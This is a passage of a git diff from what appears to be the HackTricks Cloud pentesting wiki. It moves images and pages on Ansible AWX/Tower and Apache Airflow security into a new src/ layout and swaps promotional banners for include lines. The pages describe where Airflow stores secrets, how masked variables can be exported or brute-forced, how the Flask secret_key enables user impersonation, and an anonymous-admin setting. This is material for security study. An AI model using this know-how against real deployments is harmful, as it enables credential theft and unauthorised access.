zN^#(KXejqry<@zkBs_kPPOaBIS?#sJdncJat#^Wl;7wX?VlP*Y(&~>+EB&a19jx*|
z6PA|Ci1sV2jH`S)t`MbIkyGeB-8WcsDq2PyFk{_*0|)6y<PW$|J-3q|B73SFHU5V#
zo&Ktjr#p!!YCPbH)cQDn*Xa&toa9K)1@nly&STNB%fX`y0qgS_0Un&9-W?Nuk0oZk
z44scs)oM59ezFr4tMZtbLO)_)5N_-j3_t~B1}u=NZHf%H;*UDLxY~%s1_PTV$iC?&
zK!#fRL(vZQvdb_m52yO%O(~YChH&Y{PzOF*CkGl!CpogT$qrD(v$GvcBq;J|5JF;s
zsZNm%%SJ%GS^>ktLdj&MvSBzHvjJV0LO{6<&!nSaH*T>c*E7OHSChu!&N*cMvJFt#
zLr$7Fhorc}zM#`AA&;eUMnotU2=kInQOhs~Mc9ZF+2|vC`4z6rZAfXKU<>Lg<1hlu
zENJ=`-8Z;DEIR{(yoLk{SfB(Tg=PZAW)Y^yq(^a3s%LD{#>P7AlR;Yyd~^9<badqa
zvC_W)7z$pB`v$xK&p0x%fje$+i~|}{cepwVB!p!`$@1I;nCAzi{o@LtO(Lg--vS$+
gFdZxe@D+e`8^RzfyCD^?G_lYCTZmFu&vrQWZ+-izwEzGB

literal 0
HcmV?d00001

diff --git a/.gitbook/assets/telegram-cloud-document-4-5875069018120918586.jpg b/src/images/telegram-cloud-document-4-5875069018120918586.jpg
similarity index 100%
rename from .gitbook/assets/telegram-cloud-document-4-5875069018120918586.jpg
rename to src/images/telegram-cloud-document-4-5875069018120918586.jpg
diff --git a/.gitbook/assets/telegram-cloud-photo-size-4-5780773316536156543-x.jpg b/src/images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg
similarity index 100%
rename from .gitbook/assets/telegram-cloud-photo-size-4-5780773316536156543-x.jpg
rename to src/images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg
diff --git a/.gitbook/assets/telegram-cloud-photo-size-4-5782633230648853886-y.jpg b/src/images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg
similarity index 100%
rename from .gitbook/assets/telegram-cloud-photo-size-4-5782633230648853886-y.jpg
rename to src/images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg
diff --git a/.gitbook/assets/telegram-cloud-photo-size-4-5920521132757336440-y.jpg b/src/images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg
similarity index 100%
rename from .gitbook/assets/telegram-cloud-photo-size-4-5920521132757336440-y.jpg
rename to src/images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg
diff --git a/.gitbook/assets/telegram-cloud-photo-size-4-6044191430395675441-x.jpg b/src/images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg
similarity index 100%
rename from .gitbook/assets/telegram-cloud-photo-size-4-6044191430395675441-x.jpg
rename to src/images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg
diff --git a/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
similarity index 51%
rename from pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
rename to src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 8098117c1..db07fc286 100644
--- a/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,19 +1,6 @@
 # Ansible Tower / AWX / Automation controller Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -27,51 +14,50 @@ According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-h
 
 ### Tech Stack
 
-* **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-* **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-* **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-* **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-* **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
+- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
+- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
+- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
+- **Redis**: Redis serves as a cache and a backend for the task queue.
 
 ### Logical Components
 
-* **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-* **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-* **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-* **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-* **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-* **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-* **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-* **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
+- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
+- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
+- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
+- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
+- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
+- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
+- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
 
 ### Job Execution Flow
 
 1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
 2. **Job Initiation**:
-   * The user, via the Web Interface or API, initiates a job based on a **Job Template**.
-   * The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
-   * Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
+   - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
+   - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
+   - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
 3. **Job Queuing**:
-   * **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
-   * **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
+   - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
+   - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
 4. **Job Execution**:
-   * The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
-   * Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
-   * As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
+   - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
+   - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
+   - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
 5. **Job Results**:
-   * Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
-   * Users can then view the results through the Web Interface or query them via the REST API.
-   * Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
+   - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
+   - Users can then view the results through the Web Interface or query them via the REST API.
+   - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
 6. **External Systems Integration**:
-   * **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
-   * **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
-   * **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+   - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
+   - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
+   - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
 
 ### AWX lab creation for testing
 
 [**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
 
-{% code overflow="wrap" %}
 ```bash
 git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
 
@@ -97,7 +83,6 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
 # Load demo data
 docker exec tools_awx_1 awx-manage create_preload_data
 ```
-{% endcode %}
 
 ## RBAC
 
@@ -112,56 +97,43 @@ From a **white box security** review, you would need the **System Auditor role**
 <summary>Expand this to get detailed description of available roles</summary>
 
 1. **System Administrator**:
-   * This is the superuser role with permissions to access and modify any resource in the system.
-   * They can manage all organizations, teams, projects, inventories, job templates, etc.
+   - This is the superuser role with permissions to access and modify any resource in the system.
+   - They can manage all organizations, teams, projects, inventories, job templates, etc.
 2. **System Auditor**:
-   * Users with this role can view all system data but cannot make any changes.
-   * This role is designed for compliance and oversight.
+   - Users with this role can view all system data but cannot make any changes.
+   - This role is designed for compliance and oversight.
 3. **Organization Roles**:
-   * **Admin**: Full control over the organization's resources.
-   * **Auditor**: View-only access to the organization's resources.
-   * **Member**: Basic membership in an organization without any specific permissions.
-   * **Execute**: Can run job templates within the organization.
-   * **Read**: Can view the organization’s resources.
+   - **Admin**: Full control over the organization's resources.
+   - **Auditor**: View-only access to the organization's resources.
+   - **Member**: Basic membership in an organization without any specific permissions.
+   - **Execute**: Can run job templates within the organization.
+   - **Read**: Can view the organization’s resources.
 4. **Project Roles**:
-   * **Admin**: Can manage and modify the project.
-   * **Use**: Can use the project in a job template.
-   * **Update**: Can update project using SCM (source control).
+   - **Admin**: Can manage and modify the project.
+   - **Use**: Can use the project in a job template.
+   - **Update**: Can update project using SCM (source control).
 5. **Inventory Roles**:
-   * **Admin**: Can manage and modify the inventory.
-   * **Ad Hoc**: Can run ad hoc commands on the inventory.
-   * **Update**: Can update the inventory source.
-   * **Use**: Can use the inventory in a job template.
-   * **Read**: View-only access.
+   - **Admin**: Can manage and modify the inventory.
+   - **Ad Hoc**: Can run ad hoc commands on the inventory.
+   - **Update**: Can update the inventory source.
+   - **Use**: Can use the inventory in a job template.
+   - **Read**: View-only access.
 6. **Job Template Roles**:
-   * **Admin**: Can manage and modify the job template.
-   * **Execute**: Can run the job.
-   * **Read**: View-only access.
+   - **Admin**: Can manage and modify the job template.
+   - **Execute**: Can run the job.
+   - **Read**: View-only access.
 7. **Credential Roles**:
-   * **Admin**: Can manage and modify the credentials.
-   * **Use**: Can use the credentials in job templates or other relevant resources.
-   * **Read**: View-only access.
+   - **Admin**: Can manage and modify the credentials.
+   - **Use**: Can use the credentials in job templates or other relevant resources.
+   - **Read**: View-only access.
 8. **Team Roles**:
-   * **Member**: Part of the team but without any specific permissions.
-   * **Admin**: Can manage the team's members and associated resources.
+   - **Member**: Part of the team but without any specific permissions.
+   - **Admin**: Can manage the team's members and associated resources.
 9. **Workflow Roles**:
-   * **Admin**: Can manage and modify the workflow.
-   * **Execute**: Can run the workflow.
-   * **Read**: View-only access.
+   - **Admin**: Can manage and modify the workflow.
+   - **Execute**: Can run the workflow.
+   - **Read**: View-only access.
 
 </details>
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
similarity index 69%
rename from pentesting-ci-cd/apache-airflow-security/README.md
rename to src/pentesting-ci-cd/apache-airflow-security/README.md
index fac6233fb..5da57b39d 100644
--- a/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,19 +1,6 @@
 # Apache Airflow Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ### Basic Information
 
@@ -45,17 +32,17 @@ helm delete airflow-release
 
 Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
 
-{% content-ref url="airflow-configuration.md" %}
-[airflow-configuration.md](airflow-configuration.md)
-{% endcontent-ref %}
+{{#ref}}
+airflow-configuration.md
+{{#endref}}
 
 ### Airflow RBAC
 
 Before start attacking Airflow you should understand **how permissions work**:
 
-{% content-ref url="airflow-rbac.md" %}
-[airflow-rbac.md](airflow-rbac.md)
-{% endcontent-ref %}
+{{#ref}}
+airflow-rbac.md
+{{#endref}}
 
 ### Attacks
 
@@ -63,25 +50,25 @@ Before start attacking Airflow you should understand **how permissions work**:
 
 If you have **access to the web console** you might be able to access some or all of the following information:
 
-* **Variables** (Custom sensitive information might be stored here)
-* **Connections** (Custom sensitive information might be stored here)
-  * Access them in `http://<airflow>/connection/list/`
-* [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-* List **users & roles**
-* **Code of each DAG** (which might contain interesting info)
+- **Variables** (Custom sensitive information might be stored here)
+- **Connections** (Custom sensitive information might be stored here)
+  - Access them in `http://<airflow>/connection/list/`
+- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
+- List **users & roles**
+- **Code of each DAG** (which might contain interesting info)
 
 #### Retrieve Variables Values
 
 Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
 Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
 
-![](<../../.gitbook/assets/image (164).png>)
+![](<../../images/image (164).png>)
 
 However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
 To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
 Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
 
-![](<../../.gitbook/assets/image (152).png>)
+![](<../../images/image (152).png>)
 
 #### Privilege Escalation
 
@@ -185,17 +172,4 @@ foo = Variable.get("foo")
 
 If they are used for example inside a a bash command, you could perform a command injection.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
new file mode 100644
index 000000000..666d49577
--- /dev/null
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -0,0 +1,111 @@
+# Airflow Configuration
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Configuration File
+
+**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+
+**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+
+Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+
+If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
+If you have **access to some machine inside the airflow env**, check the **environment**.
+
+Some interesting values to check when reading the config file:
+
+### \[api]
+
+- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
+- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
+- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
+- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
+  - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
+  - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
+  - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
+  - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
+  - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
+    - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
+  - You can also **create you own authentication** method with python.
+- **`google_key_path`:** Path to the **GCP service account key**
+
+### **\[atlas]**
+
+- **`password`**: Atlas password
+- **`username`**: Atlas username
+
+### \[celery]
+
+- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
+- **`result_backend`**: Postgres url which may contain **credentials**.
+- **`ssl_cacert`**: Path to the cacert
+- **`ssl_cert`**: Path to the cert
+- **`ssl_key`**: Path to the key
+
+### \[core]
+
+- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
+- **`fernet_key`**: Key to store encrypted variables (symmetric)
+- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
+- **`security`**: What security module to use (for example kerberos)
+
+### \[dask]
+
+- **`tls_ca`**: Path to ca
+- **`tls_cert`**: Part to the cert
+- **`tls_key`**: Part to the tls key
+
+### \[kerberos]
+
+- **`ccache`**: Path to ccache file
+- **`forwardable`**: Enabled by default
+
+### \[logging]
+
+- **`google_key_path`**: Path to GCP JSON creds.
+
+### \[secrets]
+
+- **`backend`**: Full class name of secrets backend to enable
+- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+
+### \[smtp]
+
+- **`smtp_password`**: SMTP password
+- **`smtp_user`**: SMTP user
+
+### \[webserver]
+
+- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
+- **`cookie_secure`**: Set **secure flag** on the the session cookie
+- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
+- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
+- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
+- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
+- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
+- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+
+### Web Authentication
+
+By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
+
+```bash
+AUTH_TYPE = AUTH_DB
+```
+
+Which means that the **authentication is checked against the database**. However, other configurations are possible like
+
+```bash
+AUTH_TYPE = AUTH_OAUTH
+```
+
+To leave the **authentication to third party services**.
+
+However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
+
+```bash
+AUTH_ROLE_PUBLIC = 'Admin'
+```
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
similarity index 68%
rename from pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
rename to src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 94580b7b0..09d5d84fa 100644
--- a/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -1,29 +1,16 @@
 # Airflow RBAC
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## RBAC
 
 (From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
 
-* **`Admin`** users have all possible permissions.
-* **`Public`** users (anonymous) don’t have any permissions.
-* **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-* **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-* **`Op`** users have `User` permissions plus additional op permissions.
+- **`Admin`** users have all possible permissions.
+- **`Public`** users (anonymous) don’t have any permissions.
+- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
+- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
+- **`Op`** users have `User` permissions plus additional op permissions.
 
 Note that **admin** users can **create more roles** with more **granular permissions**.
 
@@ -33,37 +20,24 @@ Also note that the only default role with **permission to list users and roles i
 
 These are the default permissions per default role:
 
-* **Admin**
+- **Admin**
 
 \[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
 
-* **Op**
+- **Op**
 
